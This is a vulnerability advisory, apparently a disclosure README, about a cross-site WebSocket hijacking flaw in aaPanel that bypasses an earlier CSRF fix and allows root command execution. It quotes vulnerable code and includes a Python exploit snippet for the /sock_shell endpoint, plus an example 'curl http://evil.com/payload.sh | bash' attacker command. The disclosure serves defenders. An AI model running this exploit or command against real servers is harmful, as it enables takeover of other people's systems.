
aaPanel WebSocket CSRF Bypass leading to RCE (Incomplete fix for CVE-2021-37840)
An incomplete fix for CVE-2021-37840 still exposes 3.6M servers to root RCE, 5 years later
Discovered by: EON Security
CVE: Pending assignment
CVSS: 8.8 (High) — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Affected: aaPanel versions 6.8.12 through 7.65.0 (every version since the 2021 fix)
Installed base: 3.6M+ servers
In 2021, a Cross-Site WebSocket Hijacking vulnerability (CVE-2021-37840) was disclosed in aaPanel, a free hosting control panel running on 3.6M+ servers. The vendor added a CSRF token check to "fix" it.
The fix was architecturally wrong.
Instead of rejecting unauthenticated WebSocket connections at the HTTP level (returning 401), the fix allows every connection through (returns 101 Switching Protocols) and only checks authentication inside the handler — after the WebSocket is already established. The CSRF check they added can be bypassed in multiple ways.
EON Security found that 5 years later, every aaPanel version is still vulnerable to the same attack class.
This is only the 10th CVE ever assigned to aaPanel in its 6+ year history.
If you run aaPanel, here's what an attacker can do to you:
Scenario 1: An admin clicks a bad link
curl http://evil.com/payload.sh | bash — that command runs as root on your serverOnly one click needed. One mistaken click and the attacker owns everything.
Scenario 2: An API key leaks
This is the bigger problem. The CSRF protection doesn't apply to API-authenticated requests at all. It was designed to check browser-based connections, but the code path for API access bypasses it completely.
Either way, 3.6 million servers are affected. Every version since 2021.
g.api_request=True (API-authenticated requests) and g.is_aes=True (AES-encrypted requests) skip the check entirely/sock_shell endpoint executes arbitrary commands — subprocess.Popen(cmd + " 2>&1", shell=True)/webssh endpoint accepts attacker-supplied SSH credentials — connect to any SSH hostAll WebSocket endpoints return HTTP 101 Switching Protocols before any authentication check. The comm.local() auth check runs inside the handler, after the WebSocket upgrade is already complete:
@sockets.route('/sock_shell')
def sock_shell(ws):
comReturn = comm.local() # ← Auth check happens AFTER 101
if comReturn:
ws.send(str(comReturn))
return
Affected endpoints:
/webssh (SSH terminal proxy)/sock_shell (direct command execution)/ws_panel (panel management)/ws_home (dashboard)/ws_project (project management)/ws_model (model management)/workorder_client (ticket system)/v2/* variants of all aboveThe check_csrf_websocket() function is designed to prevent Cross-Site WebSocket Hijacking:
def check_csrf_websocket(ws, args):
if g.is_aes: return True # ← Bypass: AES mode skips check
if g.api_request: return True # ← Bypass: API requests skip check
if public.is_debug(): return True
is_success = True
if not 'x-http-token' in args:
is_success = False
if is_success:
if public.get_csrf_sess_html_token_value() != args['x-http-token']:
is_success = False
if not is_success:
ws.send('token error')
return False
return True
Two hard bypass conditions exist:
g.api_request: When True (set during API key authentication), the CSRF check is entirely skipped. Any API-authenticated WebSocket session bypasses this protection.g.is_aes: When True (set during AES-encrypted API requests), the CSRF check is also skipped.The token comparison (get_csrf_sess_html_token_value()) returns session.get('request_token_head', ""). In sessions where this value is not yet initialized, an empty x-http-token passes the check.
The /sock_shell endpoint passes attacker-supplied strings directly to subprocess.Popen with shell=True:
def sock_recv(cmdstring, ws):
p = subprocess.Popen(cmdstring + " 2>&1",
close_fds=True,
shell=True, # ← Arbitrary command execution
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
Each message received on the WebSocket is executed as a shell command. Output is streamed back via WebSocket. Since aaPanel runs as root, this is full system compromise.
The /webssh endpoint accepts attacker-supplied SSH connection parameters from the first WebSocket message:
ssh_info['host'] = get['host'].strip()
ssh_info['port'] = int(get['port'])
ssh_info['username'] = get['username'].strip()
ssh_info['password'] = get['password'].strip()
If the host is 127.0.0.1 or localhost, the handler checks the database for saved credentials, or uses attacker-supplied ones.
The primary exploit path is CSWSH (Cross-Site WebSocket Hijacking) requiring user interaction:
wss://victim-panel:8888/sock_shellcomm.local() passes authentication (valid session cookie){"x-http-token": ""} or exploits API/AES bypass pathsAlternative path via API key compromise:
g.api_request = Trueimport asyncio, json, ssl
import websockets
async def exploit(target, command):
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE
async with websockets.connect(
f"wss://{target}/sock_shell", ssl=ssl_context
) as ws:
# Attempt CSRF bypass with empty token
await ws.send(json.dumps({"x-http-token": ""}))
resp = await asyncio.wait_for(ws.recv(), timeout=10)
if "token error" in resp:
# CSRF check active — may need API auth bypass
return None
# Execute command
await ws.send(command)
return await asyncio.wait_for(ws.recv(), timeout=30)
Full PoC: exploit.py
Use the check.py script to test if an aaPanel instance has vulnerable WebSocket endpoints:
python3 check.py https://target:8888
g.api_request and g.is_aes should not skip CSRF protection| Date | Event |
|---|---|
Yadav — EON Security
Website: https://eonsecurity.co.za
This content is licensed under MIT. The PoC is provided for educational and defensive purposes only.
| Endpoint | Function | Impact |
|---|
/webssh | SSH terminal proxy | Connect to arbitrary SSH hosts with attacker credentials |
/sock_shell | Direct command execution | RCE as root via shell commands |
/ws_panel | Panel management | Panel data access |
/ws_home | Dashboard | Dashboard data access |
/ws_project | Project management | Project data access |
/ws_model | Model management | Model data access |
/workorder_client | Ticket system | Ticket data access |
/v2/* | All v2 variants | Same as above |
| 2021-08-02 |
| CVE-2021-37840 disclosed (aaPanel CSWSH) |
| 2021 | Vendor adds check_csrf_websocket() as fix |
| 2026-06-23 | EON Security discovers fix is incomplete |
| Pending | CVE assignment |
| Pending | Public disclosure |